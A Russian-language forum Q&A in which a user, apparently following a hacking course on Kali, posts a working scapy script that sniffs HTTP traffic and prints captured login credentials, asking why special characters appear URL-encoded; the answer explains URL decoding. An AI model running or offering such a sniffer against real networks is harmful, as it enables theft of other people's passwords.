scapy sniff со специальными символами - PullRequest
Новая
       7

scapy sniff со специальными символами

1 голос
/ 05 мая 2020

Привет, я написал программу ниже, она обнюхивает пакеты, и я могу видеть имя пользователя, пароли и URL-адреса, но когда я ввожу пароль со специальным символом, я получаю такое «% 21», может кто-нибудь, пожалуйста, помогите ... 

#!/bin/python3

import scapy.all as scapy

from scapy.layers import http

def sniff(interface):
    scapy.sniff(iface=interface, store=False, prn=process_sniffed_packets)

def get_url(packet):
    if packet.haslayer(http.HTTPRequest):
        url = packet[http.HTTPRequest].Host + packet[http.HTTPRequest].Path
        return url

def get_login_info(packet):
    if packet.haslayer(http.HTTPRequest):
        if packet.haslayer(scapy.Raw):
            load = packet[scapy.Raw].load
            #load = str(load)
            keybword = ["usr", "uname", "username", "pwd", "pass", "password"]
            for eachword in keybword:
                if eachword.encode() in load:
                    return load


def process_sniffed_packets(packet):
    if packet.haslayer(http.HTTPRequest):
        url = get_url(packet)
        print("[+] HTTP Request>>" + str(url))

        login_info = get_login_info(packet)
        if login_info:
            print("\n\n[+] Possible username and password >>" + str(login_info) + "\n\n")




sniff("eth0")

root@kali: ~ / python_course_by_zaid # ./packet_sniffer.py

[+] HTTP-запрос >> b'testing-ground.scraping.pro / login? Mode = login '

[+] Возможное имя пользователя и пароль >> b "b'usr = admin & pwd = 123456% 21% 40

предполагается напечатать 123456! @

1 Ответ

0 голосов
/ 05 мая 2020

Проблема в том, что пароль закодирован в URL . По сути, некоторые символы не могут быть помещены в URL-адрес, например! и @, поэтому они экранируются с помощью%.

Если вы URL-декодируете эти строки до их печати, вы получите ожидаемый результат. В Python3 расшифровать можно так: 

# script.py
import urllib.parse

result = urllib.parse.unquote("123456%21%40")
print(result)

Запустив получаем: 

$ python script.py
123456!@
...